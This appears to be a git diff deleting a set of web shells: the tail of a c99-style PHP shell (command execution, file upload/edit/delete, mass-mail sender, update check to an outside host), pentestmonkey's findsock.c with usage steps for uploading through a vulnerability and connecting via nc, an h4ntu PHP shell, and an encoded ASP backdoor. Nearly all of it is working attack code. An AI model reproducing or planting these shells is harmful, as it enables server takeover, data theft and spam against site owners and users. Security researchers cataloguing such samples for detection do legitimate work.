-3BBZIbSg0fuPDw8PDw8PDw8PDw8PDw8PDw+L+UysmC2ntPae09p7T2ntPae09p7T2ntPae09p7T2 -ntGiDEjxLVHhuAEEMFRWms0XhgJJJrr5z533sSSg2a0Jn4CEuISyCVmrGif5V4aCFAAwEGaFBGNR -ARWkIZDUa7J+Vf7D59qhVm2GEXo6xEkYIBaXJxFQRnGi4ugAmOdYJvkupHf2S4RHHE0PhM9obdQK -mxDWPyr/AGAhHEDiL1QkfEcIIAGG0n5V/sFf9JDGVBeucOkYwDJ0HgEAzS0VAjZqn5V/sGe1tWBc -lgx/2G4RPxHMFcKSs2ImCcEBS6FnBmZNFCRoMPATHzyoMEiakyT2gDKSBq1MQcvAQ2DIIBkHFDmc -mkGdUBQIeKjslRwQKDdVCBJhM0vHOKK84xhBAizCvMDYDvBnVlGOkCwGI1Np7T2ntPae09p7T2nt -Pae09p7T2ntPae0vJCpCSpHc2jubR3No7m0dzaO5tHc2jubR3No7m0dzaO5tHc2jubR3No7m0dza -O5tHc2jubR3No7m0dzaO5tHc2jubR3No7m0dzaO5tHc2jubR3No7m0dzaO5tHc2jubR3No7m0dza -O5tHc2jubR3No7m0dzaO5tHc2jubR3No7m0dzaO5tHc2jubR3No7m0dzaO5tHc2jubR3No7m0dza -O5tHc2jubR3No7m0dzaO5tHc2jubR3No7m0dzaO5tHc2jubR3No7m0dzaO5tHc2jubR5ixpP/9oA -CAECAwE/If6wf//aAAgBAwMBPyH+sH//2gAMAwEAAhEDEQAAEBJJJJJJJJJJJJJJJJJJJJJJJJJJ -JJJJJJJJJJJJJJJJJBJJJJJJJJJAIJBJBJAAIJJJBIJBBBJJBJJBJJJJJJJJJBJJJJJJJJJAIJJB -JJJBJJIBBIJIJIIIJJIJJJJJJJJJJBJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJIP/a -AAgBAQMBPxApS1RSHwsCSSyf4aLFixYsWLFixYsWLFixYsWLFixYsWLFixYsWLFixYsWL/CxYsWL -FixYsWLFixYsWLFixYsWLFixYsWLFixYsWLFixf/AEixYsWLFixYsWLF4Oluyo1TCNWFPdlNd9mu -+zXfZrvs132a77Nd9mu+zXfZrvs132a77Nd9mu+zXfZrvs132a77Nd9hDoCEIDJH0YKJQIKsDpgW -BfgWUacgTAkoAgLreSxYtgGTAgEigAAvbnQJqy1XRBCSCWEVMchsge1InEoImkEAkMAH/sdKetgQ -kASVTK8FiNrM/AhGUmWFC84tGEEIJ5RFIeaZNEkqJGAtGH9aGVEkQK9iYINvSQJEWxHx2GpQBhIZ -Bwa5prvsetQWpqEgLI4+OzcwGApE5roM4Eu/YDCCBAMieFfBZSsOoDACQEHAbkYf0IZUWIX6nQJO -w62AFEGLNU+OxSbDMMAANgOKD/1AqpAOSsWwMaELlEEQCYKpJE9qwuJkvAWgb+ClcKADkz4Up5Qz -TxEJQAcyJrvsqBdIAhhBpJzmdAkR8IeVKsg9DCCV0agEguPOgXgsWiK8GNikQ4KIUpBfAIBQg4hg -UfXgsdzaMhkEYAkEs+4YONNACBEVI48oB1UQAmcCjixmu+zXfZrvs132a77Nd9mu+zXfZrvs132a -77Nd9mu+zXfZrvs132a77M4vHcD0bsgCNLS0tLS0tLS0tLS0tLS0tLS0tIQCaCCAiIIRIYxgGAAE -DASu6kMCYrUEwf3KKyAa4AFNgEfJ07XjXnEUNgCkGnjzgoF87YASAqpafa6qSEAUEPAOQwIwUTBq -M4GXOYNycAq0VeCVEHAwaqASwJA3vKOkSCoKklVYxMho3wRgMTBArTKiAKJDmW1ZMYNg04tgNRQA -GRfqJaO7aLDIEaRCItkwsQioJeCRUlgMCuoUccoQc7MHmIirHwSa3ykQMExEkVRUH0VJkoAfoePN -LB4gFFJyQcCcfBIXbhwohAYUGGRgsMQ9QNhxcYrSACA4olyporJJQTAYmCrSWztEgkcivHkkjWVT -KECVLCNI5BU2AAEisiJBB8eTTWGAFQEBAOhizrgQGlgEml44rQwwYrgUMIDTlBFQzCyW1RRpsEBM -llACB+vB1rBwQDohIMs84NBEfCBQcNho4ThDyEQUlvwUCNLS0tLS0tLS0tLS0tLS0tLS32X3K0CG -YwXud1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1 -yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3 -XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yn -dcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcpi/Yhm9z//2gAI -AQIDAT8Q/rB//9oACAEDAwE/EP6wf//Z"); - header("Content-type: image/gif"); - header("Cache-control: public"); - header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); - header("Cache-control: max-age=".(60*60*24*7)); - header("Last-Modified: ".date("r",filemtime(__FILE__))); - echo base64_decode($images[$_GET['pic']]); -} - -$ps=str_replace("\\","/",getenv('DOCUMENT_ROOT')); -//file_array -$file_tps=array( -"img"=>array("jpg","bmp","gif","ico"), -"act" => array("edit","copy","download","delete"), -"zip" => array("gzip","zip","rar") -); -$surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL. - -if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} -if (empty($surl)) -{ - $surl = "?".$includestr; //Self url -} -$surl = htmlspecialchars($surl); - @ob_clean(); -//end -if (isset($_GET['img'])) { - for ($i=0;$i<4;$i++) { - if (preg_match("/".$file_tps["img"][$i]."/i",$extn)) { - header("Content-type: ".$inf["mime"]); - readfile(urldecode($filename)); - exit; - - } - } -} - - -if (!function_exists(download)) { - function download($file) { - header('Pragma: anytextexeptno-cache', true); - header('Content-type: application/force-download'); - header('Content-Transfer-Encoding: Binary'); - header('Content-length: '.filesize($file)); - header('Content-disposition: attachment; - filename='.basename($file)); - readfile($file); - exit; - } -} -if (isset($_GET['download'])) { -download($filename); -exit; -} - -if (isset($_GET['run'])) { -echo urldecode($_GET['file']); -include(urldecode($_GET['file'])); -exit; -} - - -function check_update() -{ -$cur_ver=5; //very important value for updates!Please dont change! -$newer=$cur_ver+1; -$url="http://dc3.dl.am/"; -$file=@fopen($url."".$newer.".txt","r") or die ("No updates aviable!"); -$text=fread($file,1000000); -if (preg_match("/ver=".$newer."/i", $text)) { - echo "[+]Update Aviable!...Please download new version from:"; -echo "
Version ".$newer.""; -} } - -function get_perms($mode) -{ - if (($mode & 0xC000) === 0xC000) {$type = "s";} - elseif (($mode & 0x4000) === 0x4000) {$type = "d";} - elseif (($mode & 0xA000) === 0xA000) {$type = "l";} - elseif (($mode & 0x8000) === 0x8000) {$type = "-";} - elseif (($mode & 0x6000) === 0x6000) {$type = "b";} - elseif (($mode & 0x2000) === 0x2000) {$type = "c";} - elseif (($mode & 0x1000) === 0x1000) {$type = "p";} - else {$type = "?";} - - $owner["read"] = ($mode & 00400)?"r":"-"; - $owner["write"] = ($mode & 00200)?"w":"-"; - $owner["execute"] = ($mode & 00100)?"x":"-"; - $group["read"] = ($mode & 00040)?"r":"-"; - $group["write"] = ($mode & 00020)?"w":"-"; - $group["execute"] = ($mode & 00010)?"x":"-"; - $world["read"] = ($mode & 00004)?"r":"-"; - $world["write"] = ($mode & 00002)? "w":"-"; - $world["execute"] = ($mode & 00001)?"x":"-"; - - if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} - if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} - if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} - -echo $type.join("",$owner).join("",$group).join("",$world); -} - - - -if (!function_exists(get_space)) { - function get_space($dir) { -$free = @diskfreespace($dir); -if (!$free) {$free = 0;} -$all = @disk_total_space($dir); -if (!$all) {$all = 0;} -$used = $all-$free; -$used_f = @round(48.7/($all/$free),2); -echo "".$used_f.""; - } - } -$sys=strtolower(substr(PHP_OS,0,3)); -echo "
- - - "; -?> - - - -R"; - } - if (@is_executable($file)) { - echo "E"; - } - if (@is_writable($file)) { - echo "W"; - } - } else { - echo "[-]Error"; - } - } - } - -if (!function_exists(search_file)) { - function search_file($search,$dir) { - global $word; - global $surl; - $d_s=opendir($dir); - while (false !== ($file_s = readdir($d_s))) { - if (preg_match("/".$search."/i",$file_s)) { - echo "".$file_s."
"; - } - } - } - } - - -if (!function_exists(copy_file)) { - function copy_file($file,$to) { - if (@file_exists($file)) { - @copy($file,$to) or die ("[-]Error copying file!"); - echo "Successfully copied file!"; - } else { - echo "[-]File Doesnt exist!"; - } - } - } - -if (!function_exists(send_mail)) { - function send_mail($from,$to,$text,$subject,$times) { - while ($i<$times) { - $i++; - $header = "From: $from\r\n"; - @mail($to, $subject, $text, $header) or die ("[-]Error sending mail(s)!"); - - } - echo "Successfully sent mail(s) to ".$to."!"; - } - } - - -if (!function_exists(read_file)) { - function read_file($file) { -$file=@fopen($file,"r"); -echo fread($file,10000); -fclose($file); - } - } - -if (!function_exists(write_file)) { - function write_file($file,$text) { - if (@is_writable($file)) { - if (@file_exists($file)) { - $file_w=@fopen(urldecode($file),"w") or die ("[-]Error"); - if (fwrite($file_w,$text)) { - echo "Successfully written to file(s)!"; - } - } - } - else { - echo "[-]Error"; - exit; - } - } - } - - - -if (!function_exists(count_all)) { - function count_all($dir) { - $c_d=opendir($dir); - while (false !== ($file_c = readdir($c_d))) { - if (@filetype($dir."/".$file_c)=="file") { - $file_c_s++; - } - else - { - $dir_c++; - } - } - echo "Directories:"; - echo $dir_c++; - echo "||"; - echo "Files:"; - echo $file_c_s; - } -} - -if (!function_exists(check_access)) { - function check_access($file) { - if (@is_readable($file)) { - echo "R"; - } - if (@is_executable($file)) { - echo "E"; - } - if (@is_writable($file)) { - echo "W"; - } - } - } - -if (!function_exists(clear_dir)) { - function clear_dir($dir) { -$o_d=opendir($dir); - while (false !== ($file = readdir($o_d))) { - if (@filetype(urldecode($_GET['file'])."/".$file)=="file") { -unlink(urldecode($dir)."/".$file) or die ("[-]Error @ file:".$file.""); - } - } -echo "Successfully cleared directory!"; - } - } - -?> - - -
"; -echo ""; -echo getenv('SERVER_SOFTWARE'); -echo "
"; -echo getenv('SERVER_NAME'); -echo ":"; -echo getenv('SERVER_PORT'); -echo "
"; -echo getenv('SERVER_ADMIN'); - -if ($sys=="win") { -echo "Windows"; -echo "
"; -echo "".getenv('COMPUTERNAME').""; -echo "
"; -echo "Os:".getenv('OS').""; -} else { -echo "
Linux"; -} -if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") -{ -$safe=1; -echo "
ON (secure)"; - } else { -$save=2; -if ($sys=="win") { -echo "
Off (not secure)"; -} -} -if (isset($_GET['file'])) { -echo "
Access:"; -if (@is_readable($j_f)) { - echo "R"; -} -if (@is_executable($j_f)) { - echo "E"; -} -if (@is_writable($j_d)) { -echo "W"; -} -echo "
Current_file:"; -echo "".$p.""; - } -echo "
"; -echo "Start_dir:"; -echo "   "; -echo "".$ps.""; -echo "
"; -if (isset($_GET['file'])) { -echo "Free Space:"; -get_space(urldecode($_GET['file'])); - -echo "gb"; -} -echo "
- -
"; -check_update(); -exit; -} -if (isset($_GET['rmdir'])) { -echo "
- - -
"; -@rmdir($_GET['file']) or die ("[-]Error deleting dir!"); -echo "Successfully deleted dir(s)!"; -exit; -} - - -if (isset($_GET['upload'])) { -$uploaddir = urldecode($_POST['file']); - -print "
";
-if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir ."/". $_FILES['userfile']['name'])) {
-echo "
- -
"; - print "Successfully uploadet file(s)!"; -} else { -echo "
- -
"; - print "[-]Error"; -} -exit; -} - -if (isset($_GET['search'])) { -echo "
- - -
"; -search_file($_POST['search'],urldecode($_POST['dir'])); -exit; -} - - - - -if (isset($_GET['getenv'])) { -echo "
-
-
"; -echo getenv($_GET['getenv']); -exit; -} - - -if (isset($_GET['php_info'])) { -echo "
-
-
"; -phpinfo(); -exit; -} - -if (isset($_GET['defined_vars'])) { -echo "
-
-
"; -echo "
"; - -exit; -} - -if (isset($_GET['env'])) { -echo "
- -
-
"; -$ary=get_defined_vars(); -$it=array_keys($ary); -foreach ($it as $i) { -echo "".$i."
"; - -} -exit; -} - -if (isset($_GET['play'])) { -echo ""; -exit; -} - - -if (isset($_GET['special_crypt'])) { -echo "
-
-
"; -echo "
"; - -?> -
&&special_crypt method="post"> -file:

- -
-md5();
-crypt();
-sha1();
-crc32();
-urlencode();
-urldecode();
-base64_encode();
-base64_decode();
- - -
-
"; -?> -?&&crypt method="post"> -Crypt:
- - -md5:             >

- -crypt:             >

- -sha1:             >

- -crc32:             >

- -urlencode:        >

- -urldecode:        >

- -base64_encode: >

- -base64_decode: >

-
"; -exit; -} - -if (isset($_GET['php_code'])) { -echo "
-
-
"; -?> -&&php_code method="post"> - - -"; -echo "

"; -exit; -} - -if (isset($_GET['search_st'])) { - if (isset($_POST['search'])) { -search_file($_POST['search'],$_POST['dir']); - } -exit; -} - - -if (isset($_GET['rename_all'])) { -echo "
-
-
"; -rename_all(urldecode($_POST['d']),$_POST['prefix'],$_POST['name'],$_POST['del']); -exit; -} - -if (isset($_GET['special_d'])) { -echo "
-
-
"; - $way=$_POST['way']; - if ($way=="1") { -clear_dir($_GET['file']); - exit; - } - if ($way=="2") { -echo "
-
- -
"; -?> -?&&rename_all method="post"> -Prefix:

-Name:

-> -Delete old files?:
-
- -
-
"; -?> - -?&&special_d&file= method=post> -Clear Dir>

-Rename with prefix

- - - -
"; - @unlink($filename) or die ("[-]Error deleting file!"); - echo "Successfully Deleted File!"; - exit; - } -} - -if (isset($_GET['save'])) { -echo "
- - -
"; - write_file(urldecode($_POST['file']),stripslashes($_POST['text'])); - - exit; -} - -if (isset($_GET['exec'])) { -echo "
- -
"; -@chdir(urldecode($_POST['dir'])); -echo ""; -exit; -} - - -if (isset($_GET['mkdir'])) { - if (isset($_POST['name'])) { -echo "
- -
"; - mkdir(urldecode($_POST['dir'])."/".$_POST['name']) or die ("[-]Error creating dir!"); - echo "Successfully created dir!"; - } -exit; -} - -if (isset($_GET['mkfile'])) { - if (isset($_POST['name'])) { -echo "
- - -
"; -$dir=urldecode($_POST['dir']); -$filed=$_POST['name']; - - if (@file_exists($dir."/".$filed)) { - echo "[-]Allready exists!"; - exit; - } - $file_c=@fopen($dir."/".$filed,"w") or die ("[-]Can't create file!"); - echo "Scuessfully created file(s)!"; - } -exit; -} - -if (isset($_GET['edit'])) { -echo "
- -
"; - if (@file_exists($filename)) { - echo "

"; - } - exit; -} - - - -if (isset($_GET['copy_start'])) { -echo "
- -
"; -copy_file($_POST['from'],$_POST['to']); -exit; -} - - - -if (isset($_GET['copy_file'])) { -echo "
- - -
"; -?> -?&©_start method="post"> -New:


-Old:


- - - - -
"; -if (isset($_POST['from'])) -{ -if (isset($_POST['to'])) -{ -if (isset($_POST['text'])) -{ -if (isset($_POST['subject'])) -{ -if (isset($_POST['times'])) -{ -send_mail($_POST['from'],$_POST['to'],$_POST['text'],$_POST['subject'],$_POST['times']) ; -exit; -} -} -} -} -} -} -if (isset($_GET['send_mail'])) { -echo "
- -
"; -?> -?&&send_mail_st method="post"> -From:    

-To:       

-Subject:  

-Times:   

- -Text:


- - - -
"; - echo "
"; - exit; -} } - - - -if (@filetype($j_f)=="file") { -echo "
-
"; -highlight_file($j_f); - -exit; -} -echo "
- - - - "; -echo "
"; -count_all($j_d); -echo "
- - - "; - - - - -$o_d=opendir($j_d); - - - - while (false !== ($file = readdir($o_d))) { - echo " - - - "; -echo ""; -echo ""; - } -echo "
FilenameEditCopyDownloadDeletePermsAccess
"; -if (@filetype($j_d."/".$file)=="dir") { -echo "[".$file."]"; -} else { -echo ""; -echo $file; -} -echo "
"; -if (@filetype($j_d."/".$file)=="file") { -echo "
[Edit]"; -} -else { -echo "
[-]"; -} -echo "
"; -if (@filetype($j_d."/".$file)=="file") { -echo "
[Copy]"; -} else { -echo "
[-]"; -} -echo "
"; -if (@filetype($j_d."/".$file)=="file") { -echo "
[Download]"; -} else { -echo "
[-]"; -} -echo "
"; -if (@filetype($j_d."/".$file)=="file") { -echo "
[Delete]"; -} else { -echo "
[Delete]"; -} -echo "
"; -echo @fileowner($j_f."/".$file); -echo "
"; -get_perms(fileperms($j_f."/".$file)); -echo "
- - - -
"; -?> -&&upload method="post"> -file:          -> -

[Ok]"; - } else { -echo "[No]"; - } -?> - - -
- - -
"; -?> -
&&search method="post"> -search:      -> -                  -
-
- - - -
"; -?> -
?&&mkdir method="post"> -name:       -> -                   -
-[Ok]"; - } else { -echo "[No]"; - } -echo "
- - - -
"; -?> -
&&mkfile method="post"> -name:      -> -                   -
-[Ok]"; - } else { -echo "[No]"; - } -echo "
- - - - - -
"; -?> -
&&exec method="post"> -command: -> -                  -
-
- - - - "; -echo ""; -exit; - } -?> - - - - - -
Special DirOptions
- - - -
-
?&&exec_st method="post"> - -
-
- -
-shell_exec(); -system(); -passthru(); -automatic();
-"; -exit; -?> \ No newline at end of file diff --git a/findsock.c b/findsock.c deleted file mode 100644 index 71444f7..0000000 --- a/findsock.c +++ /dev/null @@ -1,137 +0,0 @@ -// php-findsock-shell - A Findsock Shell implementation in PHP + C -// Copyright (C) 2007 pentestmonkey@pentestmonkey.net -// -// This tool may be used for legal purposes only. Users take full responsibility -// for any actions performed using this tool. The author accepts no liability -// for damage caused by this tool. If these terms are not acceptable to you, then -// do not use this tool. -// -// In all other respects the GPL version 2 applies: -// -// This program is free software; you can redistribute it and/or modify -// it under the terms of the GNU General Public License version 2 as -// published by the Free Software Foundation. -// -// This program is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License along -// with this program; if not, write to the Free Software Foundation, Inc., -// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -// -// You are encouraged to send comments, improvements or suggestions to -// me at pentestmonkey@pentestmonkey.net -// -// Description -// ----------- -// (Pair of) Web server scripts that find the TCP socket being used by the -// client to connect to the web server and attaches a shell to it. This -// provides you, the pentester, with a fully interactive shell even if the -// Firewall is performing proper ingress and egress filtering. -// -// Proper interactive shells are more useful than web-based shell in some -// circumstances, e.g: -// 1: You want to change your user with "su" -// 2: You want to upgrade your shell using a local exploit -// 3: You want to log into another system using telnet / ssh -// -// Limitations -// ----------- -// The shell traffic doesn't look much like HTTP, so I guess that you may -// have problems if the site is being protected by a Layer 7 (Application layer) -// Firewall. -// -// The shell isn't fully implemented in PHP: you also need to upload a -// C program. You need to either: -// 1: Compile the program for the appropriate OS / architecture then -// upload it; or -// 2: Upload the source and hope there's a C compiler installed. -// -// This is a pain, but I couldn't figure out how to implement the findsock -// mechanism in PHP. Email me if you manage it. I'd love to know. -// -// Only tested on x86 / amd64 Gentoo Linux. -// -// Usage -// ----- -// See http://pentestmonkey.net/tools/php-findsock-shell if you get stuck. -// -// Here are some brief instructions. -// -// 1: Compile findsock.c for use on the target web server: -// $ gcc -o findsock findsock.c -// -// Bear in mind that the web server might be running a different OS / architecture to you. -// -// 2: Upload "php-findsock-shell.php" and "findsock" binary to the web server using -// whichever upload vulnerability you've indentified. Both should be uploaded to the -// same directory. -// -// 3: Run the shell from a netcat session (NOT a browser - remember this is an -// interactive shell). -// -// $ nc -v target 80 -// target [10.0.0.1] 80 (http) open -// GET /php-findsock-shell.php HTTP/1.0 -// -// sh-3.2$ id -// uid=80(apache) gid=80(apache) groups=80(apache) -// sh-3.2$ -// ... you now have an interactive shell ... -// - -#include -#include -#include -#include -#include -#include - -int main (int argc, char** argv) { - // Usage message - if (argc != 3) { - printf("Usage: findsock ip port\n"); - exit(0); - } - - // Process args - char *sock_ip = argv[1]; - char *sock_port = argv[2]; - - // Declarations - struct sockaddr_in rsa; - struct sockaddr_in lsa; - int size = sizeof(rsa); - char remote_ip[30]; - int fd; - - // Inspect all file handles - for (fd=3; fdh4ntu shell [powered by tsoi] -This Is The Server Information

"; -?> - - - -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
:
User Info: uid=() euid=() gid=()
Current Path:
Permission Directory:
Server Services:
Server Adress:
Script Current User:
PHP Version:
-
- -#php injection:
-
"> -cmd : - -
- -
- -
- -
- /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
-  $output = ob_get_contents();
-  ob_end_clean();
-  if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output));
-exit;
-?>
-
diff --git a/indexer.asp.php.txt b/indexer.asp.php.txt deleted file mode 100644 index aefbc3e..0000000 --- a/indexer.asp.php.txt +++ /dev/null @@ -1,74 +0,0 @@ -<%@ LANGUAGE = VBScript.Encode %> - - -WwW.SaNaLTeRoR.OrG - inDEXER And ReaDer -<%#@~^UgsAAA==^mVs,/DXV@#@&OEk'~J@!mnUD+D@*@!4M@*@!6G.:,l1YrWUx4YOw=&zShA klxCsD+.WM KDL,YmDoY{m4^lU3,:nO4WN{2WkY@*@!rUw!Y,YzwnxkE8:bOP7ls;'JEjz1)S:3"r]cr"MJrPkry'*c@*@!&WKD:@*E@#@&m\6xE@!1+ YnD@*@!6WUY,^W^W.x^k:n~kk"+{X@*?^MkaYP_l0V�x9l@!4M@*@!WKxY,^W^WD{A4kD+,/rynxy@*@!z1nxD+.@*@!Vk@*$!PjmMraY~g+kx+,r^;�Y!Dhl,CCV0�P..k^:k�,#nXmP`x;Y;ssE�~?.\DsCMlP�U[6~bDhm3~j+,?+M\.Nm3rPz/2~BPw42PBPlk2aPTk(k~NGdHlslM�UPb�+.r�bxk~G0Ehl0~b�kU,Xmy�Vs��Y�M @!(D@*@!^k@*$!P?1.kaYV~$kMP�K3~?rOXnP`�.l�sl[C P}C4s+O/b"1+~� N6PzYm8k^k./bxr"c`PUPPGW/D~jkD+^+.k~umDr�P*@!Vb@*j^MkwOr PFE^smx�s���,�V0PAm3��DCPnl.���3,Mnsm+0OkMR@!^r@*S�D0x~ArsTk~29rxs+V~��bxPF;^VCxsC,|�sm\!yE E,63!X;x!y c@!4M@*@!1+xDn.@*@!k@*AzP\n4NrJ@#@&3!VsC k:xE@!mnxDnM@*@!6W YP1W^GD{Vr:Pdr.+'l@*|!VVmU�hP~k^orVn.b@!8D@*@!0KxO~1WVG.{h4kDn,/r.+{ @*@!z1nxD+.@*@!0GUDP/b"+{F@*@!sr@*g+MNnx_~~E.lHCPzYC^m��x�y~r Nn6b~Tk.bx,`bDl1C��x�.Prx9+a~n+x9rPUkYUry9+,rs:Cs�*�DU)Gn0mEsOcl/2@!^k@*1.XnQP~EPn�/sCP� Nn6bPuC ok,jkD+X~)Ymmm3dlU�",WUE ~XDrUbPXC"mmC3k�U�.P�. P=PRczc zmVrxbxdrD+/b mK:P@!C~tM+6'_W.U3@*@!6GxDP^G^WDxsb:n@*G)_b~wb\Sb,�Ig3|,"Z@!Jl@*@!J0W O@*@!Vk@*6VE,g,A;DCzmPG3!hl0PrdD+Nn�r k"PGGkXC �x,bN� �PjnPI+.k k~emy�x,@!l,tDWxgKD +V @*@!6WUY,^W^W.x^k:n@*Gbub,oz}JzP�"12nR@!&l@*@!&0KxO@*@!4D@*@!mxY.@*AHP@!l~t.n6'hlbsYK)hCbV4Gh(@$4WDhmkscmK:gkE(%+1Yxk NnaD@*tnt9k@!JC@*@!(D@*?2+^rmV~K4Cx0/~PKPCGsHfn:KU,~30WMW:mx,SP_kO4mXOCMP~GnVb0k�VE@#@&mKwz'E@!1+UY.@*@!0GUDPmGsKDxVbhPdby'*@*Ksk6Pul03�@!8M@*@!6GxDPmKsGD{h4kO+~dbyn'y@*@!JmnUD+D@*@!^k@*A!~Um.bwDPHt9rP:l.l6�x[C P5m"�Vs��Y�Dc@!sk@*f�+.Vr~:lV�:,)D0l[C�^lD�h~_WsXGnsWUvb9:k #,SPA3GDK:CU,`sc6RqPl9hrxbP*PSPurD4CXDCDv?CUmVb.n l~b9hbxr*PBPfVbWk�3~`UlUC^bDUl,bNsrUk*PBPPE.C /G0D~`:E.C /WWOcKVPz[skUb#,~Pg+K~.PP�:,b[CsPr^Cx^lDm~P+�30�Ds+. c@!sk@*$E,?^.bwY~)kVCP@!WKxO,mKVWM'^r:@*JWTPcVmX�Y*~@!J0W O@*K!Ysl"R@!sb@*3L9nDbx~ezwY���~$!xCP~n ynMPUmDbwD~K�sP$k^orsDk,JWTVEHG.P~k^orxr"R Rv$E,KCV�sNlU~UmGD^nXP9xxPdlsnD,\nPAL[nMPSmh+MkP:�h~A�^obVnDr~dWLV!zWMVC.*@!Vr@*V�\nx^r,ArMPUmDbwD~��k Pjl9+^n,?K,dmMkwDsnDbxbPFEssmxhl �"�P� +.rMky E@#@&sk V^+.{J@!m+ Y.@*@!0GxDP^G^WD{sks+Pkr"+{*@*fG/O~UkO+^nD@!4.@*@!0WUO,mGVK.{h4bYP/byx @*@!&mxOnM@*@!^r@*ShhcdCxmVD+.W. KDL@!^r@*ShA 6lY4nMWWh8cmGs@!^k@*ShS /mxCVmDnUmRmKh@!^k@*SAARDEMlU/GWDRO3@!sk@*hAAcYl4.b4CYc^K:@!^k@*hhSRbdVm:CtbyhnDRmKh@!^k@*SAAR4lMEUXC4Hl WML@!1+UOD@*@!WKxOP1G^W.{DNPkk.n'W@*Jbt2]~U�K2d3I�@!zmUO+M@*@!4.@*@!WKxOPkry'+@*@!Vk@*ASh /m8KYCT+ Y+m:cGDTPSPShA kl\kC3cmWs~SPShSRhkUr6 xOJ@#@&GLP'~];;+kOcp;DH?YMk L@#@&kWPKon~{PJr~Y4+x@#@&^l^V,:CkU@#@&+s/r0,WLn,'PE!Kx[+ME,Y4x@#@&mmV^~mm/nF@#@&nsk+k6~WT+P{~EW0ErPOtnU@#@&^l^sP1ldny@#@&nsk+r0,GT+~{Prtl03bUNmJ~Y4+U@#@&ml^sP1l/f@#@&Vk+r0~GT+~',E3!VsC k:E~Dtnx@#@&1ls^P1l/c@#@&+^/nk6PGLP',EmKwXr~Otx@#@&^lss,mC/X@#@&+sdk0~GT+~',E^kU0VDJ,Y4nx@#@&^l^V~^m/++@#@&V/rWPKoPxPEGMxn3r~Y4+U@#@&mlss,mC/{@#@&n^/k0,WTnP{PEWMxnVyJPD4+ @#@&1CsV,mm/n%@#@&x[PbW@#@&/;8,:lrUS40DAA==^#~@%> -
-







-







-
- - -
-
- - - - - - - -
Nerden :
Nereye :
Oku :>

- -Script Hakk�nda - Kullan�m Bilgileri - Copright - Linkler -


-
-<%#@~^VA4AAA==n N~kE(@#@&EO RO ORO ORR OO RO O@#@&d;4,mm/nF@#@&Kx~+M.WMP.nkE:n~ +aY@#@& +.9+ P',D5E/OR6W.hvJx.NxJ*@#@&xDXnPx~M+5EdYc0G.s`JUnM+z+rb@#@&jY,EYbVk~',?nD7+. ;D+mO+}4L^O`rHU/RPGKVdJ*@#@&b0~nMDP@!@*,!~Y4n P@#@&D/wKxknRSDrYPE@!1+xDnD@*Cb:)~),JL+.D [/^Db2YbWU'r@!z^n YnD@*E@#@&n^/@#@&M+k2W /nRSDrOPJ��^n:bxk.~$l�mD�^�J@#@&nU9Pr0@#@&EDksdcnDG^/dsK.sPUDX+BP nD9+U@#@&DndaWxknRSDkDn~J@!mxO+.@*@!4.@*@!WWM:~C1YkGU{g~:O4W[{wK/Y@*@!bUw!Y~YHwnxkE4srY,\l^;n'rJz1)Pj)Is)Jr~/bynxWc@*@!&6W.:@*E@#@&@#@&+ NPkE(@#@&EORO ORR OO RO OO RRO@#@&kE8P^Ck++@#@&Gx,+..KDP.nkEh+,U6O@#@&0VlkWM~',Dn;!+dOc0WMh`r3VmdGDr#@#@&j+O~K4%C:Pn,'~jD\n.cZ.+mOr8N+1Y`rHb^DK/G0DRp\dCK:KJ*@#@&bW~P WDPnD.~{PTPD4+ P@#@&M+/2G /nRS.bYn,J@!m+ Y.@*_bPb,)~EL+DM N/mMr2YbW [E@!^n YnD@*E@#@&+U[,k0@#@&K4%C:PhR6a+ PJV2:E~,JE[0VCdKD[rE~,0l^dn@#@&W(LuKPKc?nx9@#@&0W[smDPx~k+.\.ctOsVAxmKNcW(LuK:n ]/wKU/K+XOb@#@&D/2WUdRADbO+,J@!WKxY~^KVGD{A4kOPkky'l@*@!1+UYD@*~ P.A]�SAIP ~@!4M@*@!mnxOnM@*@!YaYmDnC,/Yzs'vhb[DtlO!uitkT4Y=&X!pB@*EL3W9slM[J@!&O+XYmDnl@*E@#@&.+k2W /n SDkOn,J@!4M@*@!0GM:,lmDkKU'QPh+DtG[{wWkO@*@!kxa;OPDXa+x/;8skOP7CV!+xErb1)~UbeszErPdby'cW@*@!&0KDh@*r@#@&n NPk;4@#@&B RRO O ORORR ORO RO @#@&d!4P^Ck+f@#@&./2Kxk+RSDbO+,JE[1\W'rJ@#@&.+kwW dnRSDbYnPEELY;/LEJ@#@&nU9P/;8@#@&vO R OR O OO O RO ORO @#@&d!4P1C/c@#@&.n/aW /nRA.bYnPrE[0Essmxkh'rJ@#@&MnkwG /RhMkDnPrJ'Y!/'Er@#@&UN,/E(@#@&B O ORORR ORO RO ORR 